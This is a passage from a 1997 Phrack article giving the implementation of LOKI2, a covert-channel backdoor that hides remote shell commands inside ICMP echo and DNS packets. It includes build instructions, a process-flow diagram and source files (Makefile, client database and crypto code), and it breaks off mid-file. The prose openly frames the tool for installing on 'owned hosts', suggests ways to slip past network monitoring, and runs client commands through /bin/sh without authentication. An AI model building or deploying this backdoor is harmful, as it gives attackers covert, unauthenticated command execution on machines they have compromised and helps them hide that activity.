mirror of
https://github.com/fdiskyou/Zines.git
synced 2025-03-09 00:00:00 +01:00
3370 lines
109 KiB
Text
3370 lines
109 KiB
Text
---[ Phrack Magazine Volume 7, Issue 51 September 01, 1997, article 06 of 17
|
|
|
|
|
|
-------------------------[ L O K I 2 (the implementation)
|
|
|
|
|
|
--------[ daemon9 <route@infonexus.com>
|
|
|
|
|
|
|
|
----[ Introduction
|
|
|
|
|
|
This is the companion code to go with the article on covert channels in
|
|
network protocols that originally appeared in P49-06. The article does not
|
|
explain the concepts, it only covers the implementation. Readers desiring more
|
|
information are directed to P49-06.
|
|
|
|
LOKI2 is an information-tunneling program. It is a proof of concept work
|
|
intending to draw attention to the insecurity that is present in many network
|
|
protocols. In this implementation, we tunnel simple shell commands inside of
|
|
ICMP_ECHO / ICMP_ECHOREPLY and DNS namelookup query / reply traffic. To the
|
|
network protocol analyzer, this traffic seems like ordinary benign packets of
|
|
the corresponding protocol. To the correct listener (the LOKI2 daemon)
|
|
however, the packets are recognized for what they really are. Some of the
|
|
features offered are: three different cryptography options and on-the-fly
|
|
protocol swapping (which is a beta feature and may not be available in your
|
|
area).
|
|
|
|
The vulnerabilities presented here are not new. They have been known
|
|
about and actively exploited for years. LOKI2 is simply one possible
|
|
implementation. Implementations of similar programs exist for UDP, TCP, IGMP,
|
|
etc... This is by no means limited to type 0 and type 8 ICMP packets.
|
|
|
|
Before you go ahead and patch owned hosts with lokid, keep in mind that
|
|
when linked against the crypto libraries, it is around 70k, with about 16k
|
|
alone in the data segment. It also forks off at least twice per client
|
|
request. This is not a clandestine program. You want clandestine?
|
|
Implement LOKI2 as an lkm, or, even better, write kernel diffs and make it
|
|
part of the O/S.
|
|
|
|
|
|
----------------------[ BUILDING AND INSTALLATION
|
|
|
|
Building LOKI2 should be painless. GNU autoconf was not really needed for
|
|
this project; consequently you may have to edit the Makefile a bit. This
|
|
shouldn't be a problem, becuase you are very smart.
|
|
|
|
|
|
----[ I. Edit the toplevel Makefile
|
|
|
|
1) Make sure your OS is supported. As of this distribution, we suppport the
|
|
following (if you port LOKI2 to another architecture, please send me the
|
|
diffs):
|
|
|
|
Linux 2.0.x
|
|
OpenBSD 2.1
|
|
FreeBSD 2.1.x
|
|
Solaris 2.5.x
|
|
|
|
2) Pick an encryption technology. STRONG_CRYPTO (DH and Blowfish),
|
|
WEAK_CRYPTO (XOR), or NO_CRYPTO (data is transmitted in plaintext).
|
|
|
|
3) If you choose STRONG_CRYPTO, uncomment LIB_CRYPTO_PATH, CLIB, and MD5_OBJ.
|
|
You will also need SSLeay (see below).
|
|
|
|
4) Chose whether or not to allocate a psudeo terminal (PTY) (may not be
|
|
implemented) or just use popen (POPEN) and use the
|
|
`pipe -> fork -> exec -> sh` sequence to execute commands.
|
|
|
|
5) See Net/3 restrictions below and adjust accordingly.
|
|
|
|
6) Pausing between sends is a good idea, especially when both hosts are on
|
|
the same Ethernet. We are dealing with a potentially lossy protocol and
|
|
there is no reliablity layer added as of this version... SEND_PAUSE
|
|
maintains some order and keeps the daemon from spewing packets too fast.
|
|
|
|
You can also opt to increase the pause to a consdiderably larger value,
|
|
making the channel harder to track on the part of the netework snooper.
|
|
(This would, of course, necessitate the client to choose an even larger
|
|
MIN_TIMEOUT value.
|
|
|
|
----[ II. Supplemental librarys
|
|
|
|
1) If you are using STRONG_CRYPTO you will need to get the SSLeay crypto
|
|
library, version 0.6.6. DO NOT get version 0.8.x as it is untested with
|
|
LOKI2. Hopefully these URLs will not expire anytime soon:
|
|
|
|
ftp://ftp.psy.uq.oz.au/pub/Crypto/SSL/SSLeay-0.6.6.tar.gz
|
|
ftp://ftp.uni-mainz.de/pub/internet/security/ssl
|
|
|
|
2) Build and install SSLeay. If you decide not to install it, Make sure you
|
|
correct the crypto library path LIB_CRYPTO_PATH in the Makefile and
|
|
include paths in loki.h.
|
|
|
|
|
|
|
|
----[ III. Compilation and linking
|
|
|
|
1) From the the toplevel directory, `make systemtype`.
|
|
|
|
2) This will build and strip the executables.
|
|
|
|
|
|
|
|
----[ IV. Testing
|
|
|
|
1) Start the daemon in verbose mode using ICMP_ECHO (the default) `./lokid`
|
|
|
|
2) Start up a client `./loki -d localhost`
|
|
|
|
3) Issue an `ls`.
|
|
|
|
4) You should see a short listing of the root directory.
|
|
|
|
5) Yay.
|
|
|
|
6) For real world testing, install the daemon on a remote machine and go to
|
|
town. See below for potential problems.
|
|
|
|
|
|
----[ V. Other Options
|
|
|
|
The loki.h header file offers a series of configurable options.
|
|
|
|
MIN_TIMEOUT is the minimum amount of time in whole seconds the client will
|
|
wait for a response from the server before the alarm timer goes off.
|
|
|
|
MAX_RETRAN (STRONG_CRYPTO only) is the maximum amount of time in whole
|
|
seconds the client will retransmit its initial public key
|
|
handshaking packets before giving up. This feature will be
|
|
deprecated when a reliability layer is added.
|
|
|
|
MAX_CLIENT is the maximum amount of clients the server will accept and
|
|
service concurrently.
|
|
|
|
KEY_TIMER is the maximum amount of time in whole seconds an idle client
|
|
entry will be allowed to live in the servers database. If this
|
|
amount of time has elapsed, all entries in the servers client
|
|
database that have been inactive for KEY_TIMER seconds will be
|
|
removed. This provides the server with a simple way to clean up
|
|
resources from crashed or idle clients.
|
|
|
|
|
|
|
|
----------------------[ LOKI2 CAVEATS AND KNOWN BUGS
|
|
|
|
Net/3 Restrictions
|
|
|
|
Under Net/3, processes interested in receiving ICMP messages must register
|
|
with the kernel in order to get these messages. The kernel will then pass
|
|
all ICMP messages to these registered listeners, EXCEPT for damaged ICMP
|
|
packets and request packets. Net/3 TCP/IP implementations will not pass ICMP
|
|
request messages of any kind to any registered listeners. This is a problem
|
|
if we are going to be using ICMP_ECHO (a request type packet) and want it to
|
|
be directly passed to our user-level program (lokid). We can get around this
|
|
restriction by inverting the flow of the transactions. We send ICMP_ECHOREPLYs
|
|
and elicit ICMP_ECHOs.
|
|
|
|
Note, that under Linux, we do not have this probem as ALL valid ICMP
|
|
packets are delivered to user-level processes. If the daemon is installed on
|
|
a Linux box, we can use the normal ICMP_ECHO -> ICMP_ECHOREPLY method of
|
|
tunneling. Compile with -DNET3 according to this chart:
|
|
|
|
| Client |
|
|
-----------------------------------------------------
|
|
Daemon | ------- | Linux | *bsd* | Solaris |
|
|
-----------------------------------------------------
|
|
| Linux | no | yes | yes |
|
|
| *bsd* | no | yes | yes |
|
|
| Solaris | no | opt | opt |
|
|
|
|
|
|
The Initialization Vector
|
|
|
|
When using Strong Crypto, the initialization vector (ivec) incrementation
|
|
is event based. Every time a packet is sent by the client the client ivec is
|
|
incremented, and, every time a packet is received by the server, the server
|
|
side ivec is also incremented. This is fine if both ends stay in sync with
|
|
each other. However, we are dealing with a potentially lossy protocol. If
|
|
a packet from the client to the server is dropped, the ivecs become desynched,
|
|
and the client can no longer communicate with the server.
|
|
|
|
There are two easy ways to deal with this. One would be to modify the ivec
|
|
permutation routine to be time-vector based, having the ivecs increase as time
|
|
goes by. This is problematic for several reasons. Initial synchronization
|
|
would be difficult, especially on different machine architectures with
|
|
different clock interrupt rates. Also, we would also have to pick a
|
|
relatively small time interval for ivec permutations to be effective on fast
|
|
networks, and the smaller the ivec time differential is, the more the protocol
|
|
would suffer from clock drift (which is actually quite considerable).
|
|
|
|
|
|
Protocol Swaping
|
|
|
|
Swapping protocols is broken in everything but Linux. I think it has
|
|
something to do with the Net/3 socket semantics. This is probably just a bug
|
|
I need to iron out. Quite possibly something I did wrong. *shrug*...
|
|
Nevermind the fact that the server isn't doing any synchronous I/O multiplexing,
|
|
consequently, swapping protocols requires a socket change on everone's part.
|
|
This is why this feature is 'beta'.
|
|
|
|
|
|
Authentication
|
|
|
|
Um, well, there is none. Any client can connect to the server, and any
|
|
client can also cause the server to shut down. This is actually not a bug or
|
|
a caveat. It is intentional.
|
|
|
|
|
|
I/O
|
|
|
|
Should be done via select.
|
|
|
|
----------------------[ TODO LIST
|
|
|
|
- possible time vector-based ivec permutation instead of event-based as event
|
|
based is prone to synch failures, OR, even better, a reliability layer.
|
|
|
|
|
|
|
|
----[ The technologies
|
|
|
|
|
|
----------------------[ SYMMETRIC BLOCK CIPHER
|
|
|
|
A symmetric cipher is one that uses the same key for encryption and
|
|
decryption, or the decryption key is easily derivable from the encryption key.
|
|
Symmetric ciphers tend to be fast and well suited for bulk encryption, but
|
|
suffer from woeful key distribution problems. A block cipher is simply one
|
|
that encrypts data in blocks (usually 64-bits). The symmetric block cipher
|
|
employed by LOKI2 is Blowfish in CFB mode with a 128-bit key.
|
|
|
|
|
|
----------------------[ CFB MODE
|
|
|
|
Symmetric block ciphers can be implemented as self-synchronizing stream
|
|
ciphers. This is especially useful for data that is not suitable for padding
|
|
or when data needs to processed in byte-sized chunks. In CFB mode, data is
|
|
encrypted in units smaller then the block size. In our case, each encryption
|
|
of the 64-bit block cipher encrypts 8-bits of plaintext. The initialization
|
|
vector, which is used to seed the process, must be unique but not secret. We
|
|
use every 3rd byte of the symmetric key for our IV. The IV must change for
|
|
each message, to do this, we simply increment it as packets are generated.
|
|
|
|
|
|
----------------------[ BLOWFISH
|
|
|
|
Blowfish is a variable key length symmetric cipher designed by Bruce
|
|
Schneier. It is a portable, free, fast, strong algorithm.
|
|
It offers a key length of up to 448-bits, however, for LOKI2 we use
|
|
a 128-bit key.
|
|
|
|
|
|
----------------------[ ASYMMETRIC CIPHER
|
|
|
|
An asymmetric cipher makes use of two keys, coventionally called the
|
|
private key and public key. These two keys are mathematically related such
|
|
that messages encrypted with one, can only be decrypted by the other. It
|
|
is also infeasible to derive one key from the other. Asymmetric ciphers solve
|
|
the problem of key management by negating the need for a shared secret, however
|
|
they are much slower the symmetric ciphers. The perfect world in this case
|
|
is a hybrid system, using both a symmetric cipher for key exchange and a
|
|
symmetric cipher for encryption. This is the scheme employed in LOKI2.
|
|
|
|
|
|
---------------------[ DIFFIE - HELLMAN
|
|
|
|
In 1976, Whitfield Diffie and Marty Hellman came forth with the first
|
|
asymmetric cipher (DH). DH cannot be used for encryption, only for symmetric
|
|
key exchange. The strength of DH relies on the apparent difficulty in
|
|
computing discrete logarithms in a finite field. DH generates a shared secret
|
|
based off of 4 components:
|
|
|
|
P the public prime
|
|
g the public generator
|
|
c{x, X} the client's private/public keypair
|
|
s{y, Y} the server's private/public keypair
|
|
SS the shared secret (from the which the key is extracted)
|
|
|
|
The protocol for secret generation is simple:
|
|
|
|
Client Server
|
|
------ ------
|
|
1) X = g ^ x mod P
|
|
2) X -->
|
|
3) Y = g ^ y mod P
|
|
4) <-- Y
|
|
5) SS = Y ^ x mod P SS = X ^ y mod P
|
|
|
|
|
|
----------------------[ NETWORK FLOW
|
|
|
|
L O K I 2
|
|
Covert channel implementation for Unix
|
|
----------------------------------------------------------------------
|
|
daemon9|route [guild 1997]
|
|
----------------
|
|
| LOKI2 CLIENT |
|
|
---------------- -----------------------------------
|
|
^ | sendto() | FIRST GENERATION LOKI2 DAEMON |
|
|
| | -----------------------------------
|
|
| | client sends | shadow() server forks
|
|
| | data v
|
|
| v |
|
|
| | -----
|
|
| | |
|
|
| | |
|
|
| | v fork()
|
|
| | -----
|
|
| | C| |P
|
|
| v | |
|
|
| | | ----> clean_exit() parent exits
|
|
| | |
|
|
| | | 2nd generation child daemon becomes leader of a new
|
|
| | | session, handles initial network requests
|
|
^ | |
|
|
| | v
|
|
| | ------------------------------
|
|
| -----------> | SECOND GENERATION DAEMON | read() blocks until
|
|
| LOKI2 ------------------------------ data arrives
|
|
| network | ^
|
|
| traffic | |
|
|
| | |
|
|
-------<---- | |
|
|
| | |
|
|
| | |
|
|
| | |
|
|
| v fork() |
|
|
| ----- |
|
|
^ C| |P |
|
|
| | | | parent continues
|
|
| | --->------
|
|
| |
|
|
| | 3rd generation daemon handles client request
|
|
| v
|
|
| -----------------------------
|
|
--<---| THIRD GENERATION DAEMON |
|
|
-----------------------------
|
|
switch(PACKET_TYPE)
|
|
|
|
L_PK_REQ: L_REQ:
|
|
STRONG_CRYPTO POPEN
|
|
key management PTY |
|
|
| pipe() <---------
|
|
| | |
|
|
-------<--------------------<------ | |
|
|
| ---- |
|
|
| | |
|
|
| v fork() |
|
|
v ----- |
|
|
Unimplemented (7.97) C| |P |
|
|
| | ^
|
|
| ----> exit() |
|
|
| |
|
|
4th generation child | ---->------->---
|
|
daemon execs commands v |
|
|
------------------------------
|
|
| FOURTH GENERATION DAEMON | exec() 4g child execs
|
|
------------------------------ command in
|
|
STDOUT of command /bin/sh
|
|
to client via pipe
|
|
|
|
|
|
|
|
----------------------[ THANKS
|
|
|
|
snocrash for being sno,
|
|
nirva for advice and help and the use of his FreeBSD machine,
|
|
mycroft for advice and the use of his Solaris machine,
|
|
alhambra for being complacent,
|
|
Craig Nottingham for letting me borrow some nomenclature,
|
|
truss and strace for being indespensible tools of the trade,
|
|
|
|
Extra Special Thanks to OPii <opii@dhp.com> for pioneering this concept and
|
|
technique.
|
|
|
|
|
|
----------------------[ THE SOURCE
|
|
|
|
Whelp, here it is. Extract the code from the article using one of the
|
|
included extraction utilities.
|
|
|
|
<++> L2/Makefile
|
|
# Makefile for LOKI2 Sun Jul 27 21:29:28 PDT 1997
|
|
# route (c) 1997 Guild Corporation, Worldwide
|
|
|
|
|
|
######
|
|
# Choose a cryptography type
|
|
#
|
|
|
|
CRYPTO_TYPE = WEAK_CRYPTO # XOR
|
|
#CRYPTO_TYPE = NO_CRYPTO # Plaintext
|
|
#CRYPTO_TYPE = STRONG_CRYPTO # Blowfish and DH
|
|
|
|
|
|
######
|
|
# If you want STRONG_CRYPTO, uncomment the following (and make sure you have
|
|
# SSLeay)
|
|
|
|
#LIB_CRYPTO_PATH = /usr/local/ssl/lib/
|
|
#CLIB = -L$(LIB_CRYPTO_PATH) -lcrypto
|
|
#MD5_OBJ = md5/md5c.o
|
|
|
|
|
|
######
|
|
# Choose a child process handler type
|
|
#
|
|
|
|
SPAWN_TYPE = POPEN
|
|
#SPAWN_TYPE = PTY
|
|
|
|
|
|
######
|
|
# It is safe to leave this alone.
|
|
#
|
|
|
|
NET3 = #-DNET3
|
|
SEND_PAUSE = SEND_PAUSE=100
|
|
DEBUG = #-DDEBUG
|
|
#----------------------------------------------------------------------------#
|
|
|
|
|
|
i_hear_a_voice_from_the_back_of_the_room:
|
|
@echo
|
|
@echo "LOKI2 Makefile"
|
|
@echo "Edit the Makefile and then invoke with one of the following:"
|
|
@echo
|
|
@echo "linux openbsd freebsd solaris clean"
|
|
@echo
|
|
@echo "See Phrack Magazine issue 51 article 7 for verbose instructions"
|
|
@echo
|
|
|
|
linux:
|
|
@make OS=-DLINUX CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
|
|
|
|
openbsd:
|
|
@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN= all
|
|
|
|
freebsd:
|
|
@make OS=-DBSD4 CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|
FAST_CHECK=-Dx86_FAST_CHECK IP_LEN=-DBROKEN_IP_LEN all
|
|
|
|
solaris:
|
|
@make OS=-DSOLARIS CRYPTO_TYPE=-D$(CRYPTO_TYPE) \
|
|
SPAWN_TYPE=-D$(SPAWN_TYPE) SEND_PAUSE=-D$(SEND_PAUSE) \
|
|
LIBS+=-lsocket LIBS+=-lnsl IP_LEN= all
|
|
|
|
CFLAGS = -Wall -O6 -finline-functions -funroll-all-loops $(OS) \
|
|
$(CRYPTO_TYPE) $(SPAWN_TYPE) $(SEND_PAUSE) $(FAST_CHECK) \
|
|
$(EXTRAS) $(IP_LEN) $(DEBUG) $(NET3)
|
|
|
|
CC = gcc
|
|
C_OBJS = surplus.o crypt.o
|
|
S_OBJS = client_db.o shm.o surplus.o crypt.o pty.o
|
|
|
|
|
|
.c.o:
|
|
$(CC) $(CFLAGS) -c $< -o $@
|
|
|
|
all: $(MD5_OBJ) loki
|
|
|
|
md5obj: md5/md5c.c
|
|
@( cd md5; make )
|
|
|
|
loki: $(C_OBJS) loki.o $(S_OBJS) lokid.o
|
|
$(CC) $(CFLAGS) $(C_OBJS) $(MD5_OBJ) loki.c -o loki $(CLIB) $(LIBS)
|
|
$(CC) $(CFLAGS) $(S_OBJS) $(MD5_OBJ) lokid.c -o lokid $(CLIB) $(LIBS)
|
|
@(strip loki lokid)
|
|
|
|
clean:
|
|
@( rm -fr *.o loki lokid )
|
|
@( cd md5; make clean )
|
|
|
|
dist: clean
|
|
@( cd .. ; tar cvf loki2.tar L2/ ; gzip loki2.tar )
|
|
<--> Makefile
|
|
<++> L2/client_db.c
|
|
/*
|
|
* LOKI2
|
|
*
|
|
* [ client_db.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
*/
|
|
|
|
|
|
#include "loki.h"
|
|
#include "shm.h"
|
|
#include "client_db.h"
|
|
|
|
extern struct loki rdg;
|
|
extern int verbose;
|
|
extern int destroy_shm;
|
|
extern struct client_list *client;
|
|
extern u_short c_id;
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
extern short ivec_salt;
|
|
extern u_char user_key[BF_KEYSIZE];
|
|
#endif
|
|
#ifdef PTY
|
|
extern int mfd;
|
|
#endif
|
|
|
|
/*
|
|
* The server maintains an array of active client information. This
|
|
* function simply steps through the structure array and attempts to add
|
|
* an entry.
|
|
*/
|
|
|
|
int add_client(u_char *key)
|
|
{
|
|
int i = 0, emptyslot = -1;
|
|
#ifdef PTY
|
|
char p_name[BUFSIZE] = {0};
|
|
#endif
|
|
|
|
locks();
|
|
for (; i < MAX_CLIENT; i++)
|
|
{
|
|
if (IS_GOOD_CLIENT(rdg))
|
|
{ /* Check for duplicate entries
|
|
* (which are to be expected when
|
|
* not using STRONG_CRYPTO)
|
|
*/
|
|
#ifdef STRONG_CRYPTO
|
|
if (verbose) fprintf(stderr, S_MSG_DUP);
|
|
#endif
|
|
emptyslot = i;
|
|
break;
|
|
} /* tag the first empty slot found */
|
|
if ((!(client[i].client_id))) emptyslot = i;
|
|
}
|
|
if (emptyslot == -1)
|
|
{ /* No empty array slots */
|
|
if (verbose) fprintf(stderr, "\nlokid: Client database full");
|
|
ulocks();
|
|
return (NNOK);
|
|
}
|
|
/* Initialize array with client info */
|
|
client[emptyslot].touchtime = time((time_t *)NULL);
|
|
if (emptyslot != i){
|
|
client[emptyslot].client_id = c_id;
|
|
client[emptyslot].client_ip = rdg.iph.ip_src;
|
|
client[emptyslot].packets_sent = 0;
|
|
client[emptyslot].bytes_sent = 0;
|
|
client[emptyslot].hits = 0;
|
|
#ifdef PTY
|
|
client[emptyslot].pty_fd = 0;
|
|
#endif
|
|
}
|
|
#ifdef STRONG_CRYPTO
|
|
/* copy unset bf key and set salt */
|
|
bcopy(key, client[emptyslot].key, BF_KEYSIZE);
|
|
client[emptyslot].ivec_salt = 0;
|
|
#endif
|
|
ulocks();
|
|
return (emptyslot);
|
|
}
|
|
|
|
|
|
/*
|
|
* Look for a client entry in the client database. Either copy the clients
|
|
* key into user_key and update timestamp, or clear the array entry,
|
|
* depending on the disposition of the call.
|
|
*/
|
|
|
|
int locate_client(int disposition)
|
|
{
|
|
int i = 0;
|
|
|
|
locks();
|
|
for (; i < MAX_CLIENT; i++)
|
|
{
|
|
if (IS_GOOD_CLIENT(rdg))
|
|
{
|
|
if (disposition == FIND) /* update timestamp */
|
|
{
|
|
client[i].touchtime = time((time_t *)NULL);
|
|
#ifdef STRONG_CRYPTO
|
|
/* Grab the key */
|
|
bcopy(client[i].key, user_key, BF_KEYSIZE);
|
|
#endif
|
|
}
|
|
/* Remove entry */
|
|
else if (disposition == DESTROY)
|
|
bzero(&client[i], sizeof(client[i]));
|
|
ulocks();
|
|
return (i);
|
|
}
|
|
}
|
|
ulocks(); /* Didn't find the client */
|
|
return (NNOK);
|
|
}
|
|
|
|
|
|
/*
|
|
* Fill a string with current stats about a particular client.
|
|
*/
|
|
|
|
int stat_client(int entry, u_char *buf, int prot, time_t uptime)
|
|
{
|
|
|
|
int n = 0;
|
|
time_t now = 0;
|
|
struct protoent *proto = 0;
|
|
/* locate_client didn't find an
|
|
* entry
|
|
*/
|
|
if (entry == NNOK)
|
|
{
|
|
fprintf(stderr, "DEBUG: stat_client nono\n");
|
|
return (NOK);
|
|
}
|
|
n = sprintf(buf, "\nlokid version:\t\t%s\n", VERSION);
|
|
n += sprintf(&buf[n], "remote interface:\t%s\n", host_lookup(rdg.iph.ip_dst));
|
|
|
|
proto = getprotobynumber(prot);
|
|
n += sprintf(&buf[n], "active transport:\t%s\n", proto -> p_name);
|
|
n += sprintf(&buf[n], "active cryptography:\t%s\n", CRYPTO_TYPE);
|
|
time(&now);
|
|
n += sprintf(&buf[n], "server uptime:\t\t%.02f minutes\n", difftime(now, uptime) / 0x3c);
|
|
|
|
locks();
|
|
n += sprintf(&buf[n], "client ID:\t\t%d\n", client[entry].client_id);
|
|
n += sprintf(&buf[n], "packets written:\t%ld\n", client[entry].packets_sent);
|
|
n += sprintf(&buf[n], "bytes written:\t\t%ld\n", client[entry].bytes_sent);
|
|
n += sprintf(&buf[n], "requests:\t\t%d\n", client[entry].hits);
|
|
ulocks();
|
|
|
|
return (n);
|
|
}
|
|
|
|
/*
|
|
* Unsets alarm timer, then calls age_client, then resets signal handler
|
|
* and alarm timer.
|
|
*/
|
|
|
|
void client_expiry_check(){
|
|
|
|
alarm(0);
|
|
age_client();
|
|
/* re-establish signal handler */
|
|
if (signal(SIGALRM, client_expiry_check) == SIG_ERR)
|
|
err_exit(1, 1, verbose, "[fatal] cannot catch SIGALRM");
|
|
|
|
alarm(KEY_TIMER);
|
|
}
|
|
|
|
|
|
/*
|
|
* This function is called every KEY_TIMER interval to sweep through the
|
|
* client list. It zeros any entrys it finds that have not been accessed
|
|
* in KEY_TIMER seconds. This gives us a way to free up entries from clients
|
|
* which may have crashed or lost their QUIT_C packet in transit.
|
|
*/
|
|
|
|
void age_client()
|
|
{
|
|
|
|
time_t timestamp = 0;
|
|
int i = 0;
|
|
|
|
time(×tamp);
|
|
locks();
|
|
for (; i < MAX_CLIENT; i++)
|
|
{
|
|
if (client[i].client_id)
|
|
{
|
|
if (difftime(timestamp, client[i].touchtime) > KEY_TIMER)
|
|
{
|
|
if (verbose) fprintf(stderr, "\nlokid: inactive client <%d> expired from list [%d]\n", client[i].client_id, i);
|
|
bzero(&client[i], sizeof(client[i]));
|
|
#ifdef STRONG_CRYPTO
|
|
ivec_salt = 0;
|
|
#endif
|
|
}
|
|
}
|
|
}
|
|
ulocks();
|
|
}
|
|
|
|
|
|
/*
|
|
* Update the statistics for client.
|
|
*/
|
|
|
|
void update_client(int entry, int pcount, u_long bcount)
|
|
{
|
|
locks();
|
|
client[entry].touchtime = time((time_t *)NULL);
|
|
client[entry].packets_sent += pcount;
|
|
client[entry].bytes_sent += bcount;
|
|
client[entry].hits ++;
|
|
ulocks();
|
|
}
|
|
|
|
|
|
/*
|
|
* Returns the IP address and ID of the targeted entry
|
|
*/
|
|
|
|
u_long check_client_ip(int entry, u_short *id)
|
|
{
|
|
u_long ip = 0;
|
|
|
|
locks();
|
|
if ((*id = (client[entry].client_id))) ip = client[entry].client_ip;
|
|
ulocks();
|
|
|
|
return (ip);
|
|
}
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
|
|
/*
|
|
* Update and return the IV salt for the client
|
|
*/
|
|
|
|
u_short update_client_salt(int entry)
|
|
{
|
|
|
|
u_short salt = 0;
|
|
|
|
locks();
|
|
salt = ++client[entry].ivec_salt;
|
|
ulocks();
|
|
|
|
return (salt);
|
|
}
|
|
|
|
#endif /* STRONG_CRYPTO */
|
|
|
|
|
|
/* EOF */
|
|
<--> client_db.c
|
|
<++> L2/client_db.h
|
|
/*
|
|
* LOKI
|
|
*
|
|
* client_db header file
|
|
*
|
|
* 1996/7 Guild Corporation Productions [daemon9]
|
|
*/
|
|
|
|
|
|
/*
|
|
* Client info list.
|
|
* MAX_CLIENT of these will be kept in a server-side array
|
|
*/
|
|
|
|
struct client_list
|
|
{
|
|
#ifdef STRONG_CRYPTO
|
|
u_char key[BF_KEYSIZE]; /* unset bf key */
|
|
u_short ivec_salt; /* the IV salter */
|
|
#endif
|
|
u_short client_id; /* client loki_id */
|
|
u_long client_ip; /* client IP address */
|
|
time_t touchtime; /* last time entry was hit */
|
|
u_long packets_sent; /* Packets sent to this client */
|
|
u_long bytes_sent; /* Bytes sent to this client */
|
|
u_int hits; /* Number of queries from client */
|
|
#ifdef PTY
|
|
int pty_fd; /* Master PTY file descriptor */
|
|
#endif
|
|
};
|
|
|
|
#define IS_GOOD_CLIENT(ldg)\
|
|
\
|
|
(c_id == client[i].client_id && \
|
|
ldg.iph.ip_src == client[i].client_ip) > \
|
|
(0) ? (1) : (0) \
|
|
|
|
void update_client(int, int, u_long); /* Update a client entry */
|
|
/* client info into supplied buffer */
|
|
int stat_client(int, u_char *, int, time_t);
|
|
int add_client(u_char *); /* add a client entry */
|
|
int locate_client(int); /* find a client entry */
|
|
void age_client(void); /* age a client from the list */
|
|
u_short update_client_salt(int); /* update and return salt */
|
|
u_long check_client_ip(int, u_short *); /* return ip and id of target */
|
|
<--> client_db.h
|
|
<++> L2/crypt.c
|
|
/*
|
|
* LOKI2
|
|
*
|
|
* [ crypt.c ]
|
|
*
|
|
* 1996/7 Guild Corporation Worldwide [daemon9]
|
|
*/
|
|
|
|
|
|
#include "loki.h"
|
|
#include "crypt.h"
|
|
#include "md5/global.h"
|
|
#include "md5/md5.h"
|
|
|
|
#ifdef STRONG_CRYPTO
|
|
u_char user_key[BF_KEYSIZE]; /* unset blowfish key */
|
|
BF_KEY bf_key; /* set key */
|
|
volatile u_short ivec_salt = 0;
|
|
|
|
|
|
/*
|
|
* Blowfish in cipher-feedback mode. This implements blowfish (a symmetric
|
|
* cipher) as a self-synchronizing stream cipher. The initialization
|
|
* vector (the initial dummy cipher-text block used to seed the encryption)
|
|
* need not be secret, but it must be unique for each encryption. I fill
|
|
* the ivec[] array with every 3rd key byte incremented linear-like via
|
|
* a global encryption counter (which must be synced in both client and
|
|
* server).
|
|
*/
|
|
|
|
void blur(int m, int bs, u_char *t)
|
|
{
|
|
|
|
int i = 0, j = 0, num = 0;
|
|
u_char ivec[IVEC_SIZE + 1] = {0};
|
|
|
|
for (; i < BF_KEYSIZE; i += 3) /* fill in IV */
|
|
ivec[j++] = (user_key[i] + (u_char)ivec_salt);
|
|
BF_cfb64_encrypt(t, t, (long)(BUFSIZE - 1), &bf_key, ivec, &num, m);
|
|
}
|
|
|
|
|
|
/*
|
|
* Generate DH keypair.
|
|
*/
|
|
|
|
DH* generate_dh_keypair()
|
|
{
|
|
|
|
DH *dh = NULL;
|
|
/* Initialize the DH structure */
|
|
dh = DH_new();
|
|
/* Convert the prime into BIGNUM */
|
|
(BIGNUM *)(dh -> p) = BN_bin2bn(modulus, sizeof(modulus), NULL);
|
|
/* Create a new BIGNUM */
|
|
(BIGNUM *)(dh -> g) = BN_new();
|
|
/* Set the DH generator */
|
|
BN_set_word((BIGNUM *)(dh -> g), DH_GENERATOR_5);
|
|
/* Generate the key pair */
|
|
if (!DH_generate_key(dh)) return ((DH *)NULL);
|
|
|
|
return(dh);
|
|
}
|
|
|
|
|
|
/*
|
|
* Extract blowfish key from the DH shared secret. A simple MD5 hash is
|
|
* perfect as it will return the 16-bytes we want, and obscure any possible
|
|
* redundancies or key-bit leaks in the DH shared secret.
|
|
*/
|
|
|
|
|
|
u_char *extract_bf_key(u_char *dh_shared_secret, int set_bf)
|
|
{
|
|
|
|
u_char digest[MD5_HASHSIZE];
|
|
unsigned len = BN2BIN_SIZE;
|
|
MD5_CTX context;
|
|
/* initialize MD5 (loads magic context
|
|
* constants)
|
|
*/
|
|
MD5Init(&context);
|
|
/* MD5 hashing */
|
|
MD5Update(&context, dh_shared_secret, len);
|
|
/* clean up of MD5 */
|
|
MD5Final(digest, &context);
|
|
bcopy(digest, user_key, BF_KEYSIZE);
|
|
/* In the server we dunot set the key
|
|
* right away; they are set when they
|
|
* are nabbed from the client list.
|
|
*/
|
|
if (set_bf == OK)
|
|
{
|
|
BF_set_key(&bf_key, BF_KEYSIZE, user_key);
|
|
return ((u_char *)NULL);
|
|
}
|
|
else return (strdup(user_key));
|
|
}
|
|
#endif
|
|
#ifdef WEAK_CRYPTO
|
|
|
|
/*
|
|
* Simple XOR obfuscation.
|
|
*
|
|
* ( Syko was right -- the following didn't work under certain compilation
|
|
* environments... Never write code in which the order of evaluation defines
|
|
* the result. See K&R page 53, at the bottom... )
|
|
*
|
|
* if (!m) while (i < bs) t[i] ^= t[i++ +1];
|
|
* else
|
|
* {
|
|
* i = bs;
|
|
* while (i) t[i - 1] ^= t[i--];
|
|
* }
|
|
*
|
|
*/
|
|
|
|
void blur(int m, int bs, u_char *t)
|
|
{
|
|
|
|
int i = 0;
|
|
|
|
if (!m)
|
|
{ /* Encrypt */
|
|
while (i < bs)
|
|
{
|
|
t[i] ^= t[i + 1];
|
|
i++;
|
|
}
|
|
}
|
|
else
|
|
{ /* Decrypt */
|
|
i = bs;
|
|
while (i)
|
|
{
|
|
t[i - 1] ^= t[i];
|
|
i--;
|
|
}
|
|
}
|
|
}
|
|
|
|
#endif
|
|
#ifdef NO_CRYPTO
|
|
|
|
/*
|
|
* No encryption
|
|
